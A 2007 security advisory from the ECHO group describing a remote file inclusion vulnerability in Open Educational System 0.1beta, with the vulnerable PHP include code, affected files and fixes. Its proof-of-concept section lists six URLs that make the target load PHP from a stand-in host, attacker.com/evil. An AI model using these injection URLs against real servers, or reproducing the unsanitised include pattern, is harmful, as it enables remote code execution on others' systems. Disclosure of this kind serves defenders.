[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability

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[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability
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Author         : M.Hasran Addahroni
Date           : March, 12th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
Critical Lvl   : Dangerous
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Open Educational System 
version       : 0.1beta
Vendor        : http://openeducation.sourceforge.net
Description :

OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy 
design online e-learning platform.
The system is integrate and suitable use for any high-school, college or university

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Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at includes/lib-account.inc.php :  
        

----------------includes/lib-account.inc.php-------------------
<?php
        // File        : /include/lib-account.inc.php
        //
        // Description : This library is for administrator and normal user account mangement.


        // Include the configuration file.
        include_once ( $CONF_CONFIG_PATH.'/config.inc.php' );

        // Include the main include file for running all routine.
        include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' );

        // Include the ADOdb Class
        include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php');


...
----------------------------------------------------------------


Variables $CONF_INCLUDE_PATH is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection 
script.

also affected files :


includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?


Solution:
~~~~~~~

- Sanitize variable $CONF_INCLUDE_PATH on affected files.
- Turn off register_globals

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Shoutz:
~~~~~
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~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker () yahoogroups com
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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